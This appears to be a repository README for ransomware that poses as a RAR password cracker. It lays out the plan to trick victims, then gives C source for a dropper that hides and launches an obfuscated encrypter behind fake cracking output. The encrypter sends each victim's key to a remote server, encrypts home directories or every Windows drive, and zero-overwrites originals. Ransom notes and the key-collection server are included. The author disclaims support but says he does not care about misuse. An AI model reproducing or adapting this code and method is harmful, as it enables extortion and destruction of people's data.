A ransomware application that masquerades as a RAR password cracker.
Go to file
MyEyesAreBleeding d243cc1066 Update 'README.md' 2021-08-29 03:11:25 +02:00
windows Added libcrypto.dll and ability to supply base64 key to decrypter program 2021-08-29 00:33:38 +00:00
README.md Update 'README.md' 2021-08-29 03:11:25 +02:00
decrypter.c Added libcrypto.dll and ability to supply base64 key to decrypter program 2021-08-29 00:33:38 +00:00
dropper.c Fixing some errors 2021-08-22 00:02:38 +00:00
encrypter.c Adding Windows port 2021-08-28 03:21:35 +00:00
hexdumper.c uploaded files 2021-08-20 15:29:05 +00:00
hexdumpobf.c uploaded files 2021-08-20 15:29:05 +00:00
server.c Fixing some errors 2021-08-22 00:02:38 +00:00

README.md

This project is for demonstration purposes only.

I created this application in about a week as a demonstration of knowledge of C programming, cryptogrpahy primitives, open-source cryptography libraries, etc. This application is not intended to be an open-source ransomware tool, and as such, no support for it will be offered. Obviously I do not care what someone who finds it may use it for, but if anything, I would hope it would demonstrate how easily simple ransomware can be developed and to encourage users to exercise caution while using their personal PCs. That is not a commentary or judgement on those exploiting corporations with ransomware; frankly, I could not give two squirts of piss about that. Bottom line, if you are interested in conducting a ransomware attack, there are undoubtedly more mature and better-developed ransomware-as-a-service options available to purchase.

I mostly wanted to emphasize the importance of using open-source (or at least well-vetted proprietary) software. There will of course always be computer-illiterate users who will download games full of spamware, and so one could argue that fooling users into executing an untrusted binary is really no big feat. However, I thought about circumstances where users who should definitely know better went against their better judgement and ran a close-sourced tool because it claimed to serve some particular need they had which no open-source alternative served. The most common example of this I could think of was for piracy purposes; things like key generators, crackers, etc. Thinkng of that reminded me of a time I could not find an open-source application that could recover lost passwords to RAR files, and that seemed like a plausible enough scenario to exploit.

Attack Methodology

For this attack, I would claim to have developed a close-sourced application that can access password-protected RAR archives. I will justify keeping the source propietary by claiming that nobody else has implemented this technique yet, but base it on known principles of padding oracle attacks. Because RAR uses AES CBC encryption this is plausible, and to provide even further convincing details, I will describe how I found a method to create a padding oracle by timing the execution differences between corrupted cipher-text and corrupted padding. This is of course unlikely since the encryption is likely authenticated (not that I have looked into it) but the type of users who will be able to be convinced to run an un-vetted executable are unlikely to know or understand the principles of authenticated encryption.

Once the victim was tricked into acepting the program as legit, they will see that it has several options, between brute-forcing the encryption key directly, using a password list, or attempting a padding oracle attack. This is merely to make the program look as legitimate as possible. In addition to that, the program will print out statistics and descriptions of the process it is purporting to be conducting, while in reality it will be launching the encryption program in the background. Because the victim will anticipate brute-forcing a RAR archive to be resource intensive and take a long time, the encryption program using high amounts of CPU and disk I/O should not raise alarm, and they will likely give it enough time to complete while they believe the program is cracking their RAR archive.

When the encrypter is launched, it will create a completely random key to encrypt files with, and send this key to a server along with a corresponding unique identification token. The ransom note will explain to them to send this token along with the ransom amount to retrieve their key and the decryption program. If the victim allowed the phony RAR cracker to run long enough for the encrypter to finish, the phony RAR application is terminated and the note is printed on screen. Otherwise, if the victim grows tired or suspicious and decides to terminate the phony RAR application before the encrypter has managed to encrypt all files, the ransom note will have been saved to disk along with their ID token and the encrypter program will continue to encrypt as many files as it can in the background.

Technical details

Dropper

The 'dropper' program will masquerade as the RAR cracker, but will contain the binary for the encrypter program. It will then write the encrypter binary to disk, chmod it, and execute it.

The binary data of the 'encrypter' executable will be contained in the 'dropper' binary in an obfuscated way, by multiplying the original bytes by 255. This accomplishes two things: Number one, it obscures ASCII values that would show up if the 'dropper' binary was examined with 'strings' or 'readelf'; number two, because executables are zero padded, multiplying by 255 will retain any bytes that were 0 so that examining the 'dropper' binary with a hex editor will not look suspicious either. It can then be deobfuscated by multiplying the byte values by 255 again.

/* Obfuscated data of encrypter binary to drop an execute */
  char binary[] = {
      0x81, 0xbb, 0xb4, 0xba, 0xfe, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00.....};

  FILE *bin_file = fopen("./unrar", "wb");
  if (bin_file == NULL) {
    return 1;
  }

  /* Deobfuscate and write encrypter data out to binary named ./unrar */
  for (int i = 0; i < sizeof(binary); i++) {
    fputc(binary[i] * 255, bin_file);
  }

  fclose(bin_file);

  chmod("./unrar", S_IRWXU);

The dropper will fork off two children to run along with the parent process. The first child will masquerade as if it is cracking the RAR, printing how many keys or words it is trying per second. Or if the padding oracle attack is chosen it will describe the fictitious attack and print phony statistics regarding its progress. The second child will run the 'encrypter', while the parent waits for the 'encrypter' child to finish before killing the first child and printing the ransom note. The encrypter also ignores SIGINT/SIGTERM/SIGHUP so it will continue to run if the victim grows tired and ends the phony rar process.

  signal(SIGHUP, sighandler);
  signal(SIGINT, sighandler);
  signal(SIGTERM, sighandler);

  /* Spawn a child process that shows statistical data and pretends to
   * crack the rar file */
  pid_t parent = getpid();
  pid_t spid = fork();

  if (getpid() == parent) {
    setlocale(LC_NUMERIC, "");
    srand(time(0));

    double start_time = time(0);
    double elapsed_time = 1;
    double cycle_time = 0;

    if (keys) {
    ...
    } else if (words) {
    ...
    } else if (po) {
    ...
    }
  }

  /* Fork from the phony statistic-printing process */
  pid_t pid = fork();

  if (pid == -1) {
    return 1;
  } else if (pid > 0) {
    int status;
    waitpid(pid, &status, 0);
  } else {
    /* This child wil execute the encrypter */
    char *args[] = {"./unrar", NULL};
    execvp(args[0], args);
    _exit(1);
  }

  /* If the encrypter is done, kill the phony rar program, remove
   * the encrypter binary and the dropper, and print the note */

  kill(parent, SIGTERM);

  remove_unrar();

  remove(argv[0]);

  print_note();

  return 0;

If the victim selects to directly brute-force the key, then random 256-bit hexadecimal strings wll be printed every second along with how many such strings are generated each second. This will give the appearance the the program is trying these keys, however it is realy merely printing them. Likewise, if the victim selects a word list to attempt to brute-force the password, the program will continually loop through the file printing words and how many words per second it is trying. While this is happening, the 'encrypter' program will be running in the background and show up in the process list as './unrar'. This can be justified by claiming a customized version of the 'unrar' app is being used in order to conduct the brute-forcing.

If the victim selects the padding oracle attack, a brief and plausible-sounding description of the method will be printed and the victim wlll be prompted to press 'Enter' to continue or 'Ctrl+C' to quit. The phony cracking process will continuously write a small password-protected RAR archive to disk, while statistics regarding how many archives are created per second and what the average milisecond difference between decryption-failure and padding-corruption is, so that it appears to be conducting the timing attack to find the oracle. The main reason to write this fake rar archive is to create a balance between the process appearing feasible, but also being slow enough to encourage the user to wait for it to complete while the encrypter works.

Encrypter

The 'encrypter' program will begin by generating two completely random 256-bit strings. One of these strings will be used to derive the encryption key and IV, and be known as the 'random key'. The other value will be an ID to correspond to that random key. Both of these will be encoded in bas64 and sent to a server to be saved in a key manifest. If the server is unreachable, the encrypter program simply sleeps until this key and ID pair can be sent, and only begins encryption afterwards. The encrypter program writes the ransom note as soon as it is able to send the pair to the server, and then encryption begins.

unsigned char *send_credentials(unsigned char *id, unsigned char *key)
{
	int sockfd;  
	struct addrinfo hints, *servinfo, *p;
	int rv;
	char s[INET6_ADDRSTRLEN];

	memset(&hints, 0, sizeof hints);
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;

	if ((rv = getaddrinfo(HOST, PORT, &hints, &servinfo)) != 0) {
		return NULL;
	}

	for(p = servinfo; p != NULL; p = p->ai_next) {
		if ((sockfd = socket(p->ai_family, p->ai_socktype,
				p->ai_protocol)) == -1) {
			continue;
		}

		if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
			close(sockfd);
			continue;
		}

		break;
	}

	if (p == NULL) {
		return NULL;
	}

	inet_ntop(p->ai_family, get_in_addr((struct sockaddr *)p->ai_addr),
			s, sizeof s);

	freeaddrinfo(servinfo);
	
	static unsigned char base64_id[45];
	unsigned char base64_key[45];
	
	EVP_EncodeBlock(base64_id,id,SHA256_DIGEST_LENGTH);
	EVP_EncodeBlock(base64_key,key,SHA256_DIGEST_LENGTH);
	
	unsigned char credential_string[90];
	
	sprintf((char * restrict)credential_string,"%s %s", base64_id, base64_key);
	
	send(sockfd, credential_string, strlen((const char*)credential_string), 0);

	close(sockfd);

	return base64_id;
}
    if (!RAND_bytes(random_id, sizeof(random_id))) {
		return 1;
	}
	
	if (!RAND_bytes(random_key, sizeof(random_key))) {
		return 1;
	}
	
	unsigned char *base64_id_string;
	
	/* Send credentials to the server. If server cannot be reached, 
	 * sleep for 1 second before trying again */
	while (1) {
		base64_id_string = send_credentials(random_id,random_key);
		if(base64_id_string != NULL )
			break;
		sleep(1);
	}
	
	write_note(base64_id_string);

    	/* Recursively walk user's home directory, sending appropriate files
	 * to file_crypt */
	ftw("/home/", traverse_dir, 20);

Once encryption begins, the victim's /home/ directory is recursively traversed with ftw(). Any file (besides the ransom note) that does not have a '.ransomed' extension is sent to the encryption process. If it is a FIFO, symlink, block device or socket file, is empty, or does not have read/write permissions, that file is left alone. Otherwise, the file is encrypted and output to a new file with a '.ransomed' extension on its name. Once the new encrypted file is written, the previous file is over-written with up to a megabyte of zeroes to over-write header information and hinder any file recovery attempts, but also not slow the encryption process down by doubling the output volume for each file.

static int
traverse_dir(const char *fpath, const struct stat *sb,
             int tflag)
{	
	/* Send the filename to file_crypt if it is a physical file and
	 * does not have the pattern defined in EXTENSION */
	if(tflag == FTW_F) {
		if(strstr(fpath,EXTENSION) == NULL && strstr(fpath,"RANSOM_NOTE") == NULL) {
			file_crypt(fpath);
		}
    }
    
    return 0;
}
	/* Do not to attempt to encrypt FIFOs, symlinks, block devices,
	 * sockets, empy files, or files without read/write access */
	if(S_ISFIFO(st.st_mode)) {
		return 1;
	}
	
	if(S_ISLNK(st.st_mode)) {
		return 1;
	}
	
	if(S_ISBLK(st.st_mode)) {
		return 1;
	}
	
	if(S_ISSOCK(st.st_mode)) {
		return 1;
	}
	
	if(st.st_size < 1) {
		return 1;
	}
	
	if(access(file_name, R_OK | W_OK) != 0) {
		return 1;
	}
/* Overwrite a megabyte (or all) of the file before removing to 
	 * disallow file recovery. */
	if(file_size < (1024*1024)) {
		remaining = file_size;
	} else {
		remaining = 1024*1024;
	}
	while(remaining) {
		
		if(buffer_size > remaining)
			buffer_size = remaining;
		
		fwrite(zero_buffer,sizeof(char),buffer_size,old_file);
		
		remaining -= buffer_size;
	}
	
	remove(file_name);

The encryption used is 256-bit AES-CTR with HMAC-SHA256 Encrypt-then-MAC authentication provided by OpenSSL, but it can also use AES-CBC. I felt that having the option for both would be more challenging. The potential for IV/key pair reuse is more catastrophic with CTR, but CBC opens up the possibility of padding oracle attacks. Though both of these issues are mitigated respectively by generating the key and IV with a competely different salt for each file and by using authenticated encryption.

On the topic of authentication, HMAC was chosen over simply using AES-GCM because in OpenSSL's implementation, there is no way to authenticate the cipher-text before decryption takes place, which defeats some of the benefit of authenticating by Encrypt-then-MAC. As was mentioned, a different 256-bit salt is generated for each file to be encrypted. Then using the random key and this salt, an encryption key and IV are derived using PBKDF2. HKDF is then used to derive a separate authentication key from the encryption key. The salt and the mac are appended to the end of the cipher-text as a footer.

if (!RAND_bytes(salt, sizeof(salt))) {
		return 1;
	}
	
    cipher = EVP_get_cipherbyname("aes-256-ctr");
    digest = EVP_get_digestbyname("sha512");
    
    if (!PKCS5_PBKDF2_HMAC((char *)random_key, SHA256_DIGEST_LENGTH,
                           salt, sizeof(salt),
                           1000,
                           digest, EVP_CIPHER_key_length(cipher),
                           key)) {
		OPENSSL_cleanse(key,sizeof(key));
        return 1;
    }
    
    if (EVP_CIPHER_iv_length(cipher) != 0) {
        if (!PKCS5_PBKDF2_HMAC((char *)random_key, SHA256_DIGEST_LENGTH,
                               salt, sizeof(salt),
                               1,
                               digest, EVP_CIPHER_iv_length(cipher),
                               iv)) {
            OPENSSL_cleanse(key,sizeof(key));
			return 1;
        }
    }
    
    /* Derive separate authentication key */
    EVP_PKEY_CTX *pctx;
    
    size_t pkey_outlen = sizeof(hmac_key);
    pctx = EVP_PKEY_CTX_new_id(EVP_PKEY_HKDF, NULL);
    
    if (EVP_PKEY_derive_init(pctx) <= 0) {
        OPENSSL_cleanse(key,sizeof(key));
        EVP_PKEY_CTX_free(pctx);
        return 1;
    }
    if (EVP_PKEY_CTX_set_hkdf_md(pctx, EVP_sha256()) <= 0) {
        OPENSSL_cleanse(key,sizeof(key));
        EVP_PKEY_CTX_free(pctx);
        return 1;
    }
    if (EVP_PKEY_CTX_set1_hkdf_key(pctx, key, sizeof(key)) <= 0) {
        OPENSSL_cleanse(key,sizeof(key));
        EVP_PKEY_CTX_free(pctx);
        return 1;
    }
    if (EVP_PKEY_CTX_add1_hkdf_info(pctx, "authkey", strlen("authkey")) <= 0) {
        OPENSSL_cleanse(key,sizeof(key));
        EVP_PKEY_CTX_free(pctx);
        return 1;
    }
    if (EVP_PKEY_derive(pctx, hmac_key, &pkey_outlen) <= 0) {
        OPENSSL_cleanse(key,sizeof(key));
        EVP_PKEY_CTX_free(pctx);
        return 1;
    }
    
    EVP_PKEY_CTX_free(pctx);
    
    HMAC_CTX *hmac_ctx = HMAC_CTX_new();
    HMAC_Init_ex(hmac_ctx, hmac_key, sizeof(hmac_key), EVP_sha256(), NULL);
    
    /* Include IV in authenticated data */
    HMAC_Update(hmac_ctx, iv, EVP_CIPHER_iv_length(cipher));
	
	ctx = EVP_CIPHER_CTX_new();
    EVP_CIPHER_CTX_init(ctx);
    
    EVP_CipherInit_ex(ctx, cipher, NULL, key, iv,1);
	
	size_t remaining = file_size;
	while(remaining) {
		
		if(buffer_size > remaining)
			buffer_size = remaining;
                
        inlen = fread(in_buffer,sizeof(char),buffer_size,file);
        
        if (!EVP_CipherUpdate(ctx, out_buffer, &outlen, in_buffer, inlen)) {
			OPENSSL_cleanse(key,sizeof(key));
			HMAC_CTX_free(hmac_ctx);
			EVP_CIPHER_CTX_cleanup(ctx);
			return 1;
		}
		
		/* Authenticate cipher-text, a la Encrypt-then-MAC */
		HMAC_Update(hmac_ctx, out_buffer, outlen);
						
		if(fwrite(out_buffer,sizeof(char),outlen,new_file) != outlen) {
			OPENSSL_cleanse(key,sizeof(key));
			HMAC_CTX_free(hmac_ctx);
			EVP_CIPHER_CTX_cleanup(ctx);
			return 1;
		}
			
		written += outlen;
		remaining -= buffer_size;
				
	}
	
	/* Encrypt and authenticate last block of cipher-text if using CBC */
	outlen = 0;
	
	if (!EVP_CipherFinal_ex(ctx, out_buffer, &outlen)) {
			OPENSSL_cleanse(key,sizeof(key));
			HMAC_CTX_free(hmac_ctx);
			EVP_CIPHER_CTX_cleanup(ctx);
			return 1;
	}
	
	if(outlen > 0)
		written += outlen;
	
	HMAC_Update(hmac_ctx, out_buffer, outlen);
					
	if(fwrite(out_buffer,sizeof(char),outlen,new_file) != outlen) {
		OPENSSL_cleanse(key,sizeof(key));
		HMAC_CTX_free(hmac_ctx);
		EVP_CIPHER_CTX_cleanup(ctx);
		return 1;
	}
		
	unsigned int hmac_len = written + EVP_CIPHER_iv_length(cipher);
	
	HMAC_Final(hmac_ctx, mac, &hmac_len);
    HMAC_CTX_free(hmac_ctx);
	
	/* Write salt and MAC as footer */
	if(fwrite(salt,sizeof(unsigned char),sizeof(salt),new_file) != sizeof(salt)) {
		OPENSSL_cleanse(key,sizeof(key));
		EVP_CIPHER_CTX_cleanup(ctx);
		return 1;
	}
		
	if(fwrite(mac,sizeof(unsigned char),sizeof(mac),new_file) != sizeof(mac)) {
		OPENSSL_cleanse(key,sizeof(key));
		EVP_CIPHER_CTX_cleanup(ctx);
		return 1;
	}
		
	EVP_CIPHER_CTX_cleanup(ctx);
		
	fclose(file);
	fclose(new_file);

Decrypter

The decrypter is largely the same as the encrypter program but will only operate on files that do have the '.ransomed' extension. It then reads the salt and derives the encryption key and IV needed using this and the 'random key' retrieved. It then reads the mac and authenticates the cipher-text before attempting any decryption, which further helps to prevent oracle attacks. If the wrong 'random key' is provided, the correct authentication key will not be derived, so this serves as key verification as well as ensuring authenticity and preventing chosen-ciphertext attacks. CRYPTO_memcmp() is used to prevent timing attacks on the mac verification.

/* Seek to end of file and read salt and mac footer */
    fseek(file, ((sizeof(salt) + sizeof(mac)) * (-1)), SEEK_END);
    fread(salt, sizeof(char), sizeof(salt), file);
    fread(mac, sizeof(char), sizeof(mac), file);

	/* Correct file size to exclude salt and mac */
    file_size -= sizeof(salt) + sizeof(mac);
/* Authenticate IV and cipher-text before attempting to decrypt */
    HMAC_CTX *hmac_ctx = HMAC_CTX_new();
    HMAC_Init_ex(hmac_ctx, hmac_key, sizeof(hmac_key), EVP_sha256(), NULL);

    HMAC_Update(hmac_ctx, iv, EVP_CIPHER_iv_length(cipher));

    rewind(file);
    int64_t remaining = file_size;
    while (remaining) {

        if (buffer_size > remaining)
            buffer_size = remaining;

        fread(in_buffer, sizeof(char), buffer_size, file);

        if (!HMAC_Update(hmac_ctx, in_buffer, buffer_size)) {
            PRINT_ERROR("HMAC Failed\n");
            ERR_print_errors_fp(stderr);
            HMAC_CTX_free(hmac_ctx);
            return 1;
        }

        remaining -= buffer_size;
    }

    unsigned int hmac_len = file_size + EVP_CIPHER_iv_length(cipher);

    if (!HMAC_Final(hmac_ctx, gmac, &hmac_len)) {
        PRINT_ERROR("HMAC Failed\n");
        ERR_print_errors_fp(stderr);
        HMAC_CTX_free(hmac_ctx);
        return 1;
    }

    HMAC_CTX_free(hmac_ctx);

    if (CRYPTO_memcmp(mac, gmac, sizeof(mac)) != 0) {
        printf("Authentication Failed: %s\n", file_name);
        return 1;
    }

Server

The server listens and waits for a 90 byte packet. These 90 bytes will contain two base64 strings separated by a space. The server then writes these values to a key manifest, prefixing the first string as the ID and the second string as the key. If there is no space in the middle of the string, it is not written. Otherwise any 90 bytes with a space in the middle will be saved. This is probably a very naive way to handle this, and I would imagine could be targeted with a denial of service attack quite easily.

      char id[45] = {0};
      char key[45] = {0};

      if (buf[44] != ' ') {
        close(new_fd);
        exit(1);
      } else {
        strncpy(id, buf, 44);
        strncpy(key, buf + 45, 44);
      }

      FILE *manifest = fopen(argv[1], "ab");
      if (manifest == NULL) {
        close(new_fd);
        exit(0);
      }

      fprintf(manifest, "id: %s key: %s\n", id, key);
      fclose(manifest);

Once the ransom is recieved, the attacker can reference the ID token provided and look up the key associated with it. The attacker will then decode this base64 string into a file, and send that file along with the decryption program to the target in order for them to decrypt their files. Without receiving the ID, it is not possible to know what key to send back to the target.

Manifest example:

id: gJqxdDyKD24cpit/l2FsB6q/0uGc1jV2p2+oOJ9jpZk= key: L+BkuLEW8ftDbhmJRnUn+8JUvm87/w57upGhNp8GCC4=
id: jV0xN0ywGSxy/jZS6MpXzyxD+OTlCqzLLYH2QHuw1Yg= key: dhTxbmiWuvd53BjmI/YhdtyXXbvyypVIVwqXXFZ+M50=
id: DVe1HqmtkutXM3MTw+g5gn1PX/G2vl95oT52jMYellw= key: unlTa2d4K+qjo6BhbciG+oemJts9Qzwxm2ghbxk1Jqo=
id: OgrfLUssS/OvVsyhTQJzq2xSCR5i710xubGN/IcFe+o= key: 55likBdZKbQCCxd8qoBguU9wLsuXAra8MtmYQcYuy8s=
id: 6LCbAPjUrckPMqk/P3+7tWJXZW0MWMIOb042Sw8ioNw= key: sqOyRunhGXnWcj2GpOFF5LojEWxIStcrC98qj5vddV4=
id: khoxEBAicmnXODmAic0JXpTYAhLyQ3iZPduzP9gKTHM= key: nXrnxDGgfxnpAqaGnvuJC1S6eTdz/S3lpyaJmB9hCiI=
id: ts2XHfF7yanFZMCGTIE6SzqsZYwZELGEi1Yz+ztXXrI= key: 9pnwwAlglfhPoTtkNtyxsWUxIK6c++NaeQyVNzs2cdc=
id: lFbiuG5GdlJA5ib7CBpMOQoXI74CDyU3OF9/jFjs8kU= key: LDTyPtF2tKQT902kHbxePV9U5KNABW+f0sGF5YW9sTg=
id: 2oLrEbPy9rCnbsN5EEja5zJk370+OmB7Z/WfYEEuzQY= key: nXRpBBCp82d1QgdzE5vCBP6xPbwaJ4DQo+TrH9FzsDM=
id: L794T+danjZrzb0gJL+gZkZjE86ytuZyjWGu99fnct4= key: o5amy4ImwEds6f88klDp3wZ2JZcIbw7kVbM/USEPiGg=

Memory scrubbing

One important aspect of this application is that it must wipe the key from memory after it is finished. This is trickier than it seems, because most compilers have an issue with dead-store elimination. If the compiler sees that a buffer is filled with zeroes, it often optimizes this step out, which will result in the program leaving sensitive memory behind. The OPENSSL_cleanse() function is basically just a memset function that is defined as 'volatile' so that the compiler does not optimize it away. This is not fool-proof, and some security researchers have shown that even this can be optimized out. With that consideration, the encrypter binary is compiled without optimizaiton.

Windows

The Windows versions operate a little bit differently since Windows uses drive letters instead of a root directory. So it will run ftw() on all of the possible drive letters as so:

 /* Make array of drive letters to cycle through */
  char alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  char drive_letter[5];

  /* Loop through drive letters and run ftw on all of them */
  for (int i = 0; i < strlen(alphabet); i++) {
    memset(drive_letter, '\0', sizeof(drive_letter));
    drive_letter[0] = alphabet[i];
    strcat(drive_letter, ":\\");
    ftw(drive_letter, traverse_dir, 1);
  }

It also writes the ransom note to several different directories defined by CSIDL values to ensure it is left behind. The dropper will use a similar loop and array to make sure one of the note files is found to be printed when the encrypter finishes. This is done with an array of the CSIDL values like so:

  /* Array of CSIDL integers */
int csidl_array[] = {CSIDL_PERSONAL,
                     CSIDL_MYDOCUMENTS,
                     CSIDL_MYMUSIC,
                     CSIDL_MYPICTURES,
                     CSIDL_MYVIDEO,
                     CSIDL_COMMON_DESKTOPDIRECTORY,
                     CSIDL_COMMON_DOCUMENTS,
                     CSIDL_COMMON_MUSIC,
                     CSIDL_COMMON_PICTURES,
                     CSIDL_COMMON_VIDEO};

/* Loop through CSIDL values to get paths for each to write note to */
for (int i = 0; i < sizeof(csidl_array) / sizeof(int); i++) {

  TCHAR path[MAX_PATH];
  HRESULT hr =
      SHGetFolderPath(NULL, csidl_array[i], NULL, SHGFP_TYPE_CURRENT, path);

  strcat(path, "\\RANSOM_NOTE.txt");

I also decided that since OpenSSL might not be installed that I should include the libcrypto dll file. I did this by appending it to the dropper executable after compiling it. Then when it is ran, the dropper program will read the dll out of the executable itself and write it to disk in the current directory so that the encrypter executable can run without error.

/* Read libcrypto off end of executable and write to current dir */
  FILE *executable_file = fopen(argv[0],"rb");
  if(executable_file != NULL) {
     FILE *libcrypto_file = fopen("libcrypto-1_1.dll","wb");
     if(libcrypto_file != NULL) {
		fseek(executable_file,2086400*(-1),SEEK_END);
		for(int i = 0; i < 2086400; i++) {
			fputc(fgetc(executable_file),libcrypto_file);
		}
		fclose(libcrypto_file);
	}
	fclose(executable_file);
  }

It will also search for files depending on extension, using a string of acceptable file extensions to use strstr() against.

#define EXTENSIONS ".png.jpg.gif.txt.null"
/* Pull extension off end of file path and store in file_extension */
    char file_extension[PATH_MAX];
    for (int i = strlen(fpath);; i--) {
      if (fpath[i] == '.') {
        strcpy(file_extension, fpath + i);
        break;
      } else if (fpath[i] == '/') {
        strcpy(file_extension, ".null");
        break;
      }
    }

    /* See if extension is in EXTENSIONS */
    if (strstr(EXTENSIONS, file_extension) != NULL &&
        strstr(fpath, "RANSOM_NOTE.txt") == NULL) {
      file_crypt(fpath);
    }
  }

It was also a little different to figure out how to run the encrypter program in the background but turned out a little simpler than using fork(). Instead I just launch the encrypter with CreateProcess(), without its own window. Then I use GetExitCodeProcess() to poll if the process is sitll running, and break out of the statistics-printing loop and print the ransom note. Like the Linux version, if a user closes the fake rar program before all the files have been encrypted, then the encrypter will still operate in the background.

Rationale

Writing ransom note before all files have been encrypted

Because the program writes the ransom note as soon as it can send the ID and key pair to the server, there is a possibility that the victim will notice and kill the encrypter program before it can encrypt all the files. If the victim ends the phony RAR program, the note is simply left on the disk for the victim to find after they notice some of their files are encrypted. In this way, even if not all files have been encrypted, a good amount will have been, and the victim will still have a means of retrieving their key and a reason to pay the ransom. Otherwise, if the note was not written until after encryption ended, the victim would never be able to send their corresponding ID and pay the ransom. This also allows for the encrypter program to wait silently for the server to be reachable even if the victim had quit the fake RAR program before any encryption took place.

CTR vs CBC

I had a lot of difficulty choosing over these two options. CTR will be broken more easily if an IV/key pair is reused, but CBC is susceptible to padding oracle attacks. Padding oracle attacks can be mitigated by the decrypter program using authenticated encryption, but there is also the possibility that if the victim hired a security professional that they could create their own decryptor program that disregards the authentication and build their own padding oracle into that.

Because the IV/key pair is derived using a salt, and each individual file has a randomly-generated 256-bit salt attached to it, the potential for IV/key reuse comes down to the potential for a collision between two salts of that bitspace. It seems unlikely that a single system would have enough files to cause a collision of a 256-bit salt, but over thousands of systems the probability for such a collision is far from zero. However, since each IV/key pair is derived from a salt and a 256-bit random key, and each system generates its own random key, there would not only need to be a collision of the salt but a collision of the random key.

I decided that the potential for each mode's vulnerabilities to be exploited successfully was unlikely, and so decided that CTR would be the better option for performance reasons. If a victim noticed what was happening and killed the encryption program before it could encrypt all files, CTR mode will have encrypted more data in the same time than CBC could, thus increasing the chances that a particularly important file was encrypted and making the victim more likely to pay the ransom.

Why /home/ and not / or /media/?

The choice of which directory to be recursively traveled and encrypted defaulted to the victims's home directory for a couple of reasons. First of all, it is likely that by targeting / that the program would not be able to encrypt a large amount of the files it encountered, but would be slowed significantly by traversing all of these files nontheless. Meanwhile, targeting /media/ might have a higher potential to encrypt more data than /home/, but I felt that the potential for irreplacable data being found in /home/ was more likely, whereas storage devices might be used to store multimedia and other types of data that could simply be downloaded again. Practically speaking, multiple calls to ftw() could be made to encrypt /home/, /media/ and / and prioritize which should be encrypted first, like so:

	/* Recursively walk user's home directory, sending appropriate files
	 * to file_crypt */
	ftw("/home/", traverse_dir, 20);
      ftw("/media/,traverse_dir,20);
      ftw("/",traverse_dir,20);

Testing

Testing was not extremely thorough. The server was launched on the same machine that encryption was to take place on, and the encrypter sent the key and ID to 'localhost'. I checksummed all the files in this machine's home directory before encryption, retrieved the key from the manifest and used it to decrypt the files and then checksummed them again. That is the extent of testing that was conducted. However, this machine only has a few hundred files, and none of very significant size, so this probably did not give a very good representation of how it would behave on a more realistic target system.

Testing was similar on Windows. I used MinGW to cross-compile from Linux and it seems to mostly work, but there are some strange bugs. Sometimes after the ransomed file is decrypted, the program cannot delete the old '.ransomed' file. However it still manages to decrypt all of them and provide the original file.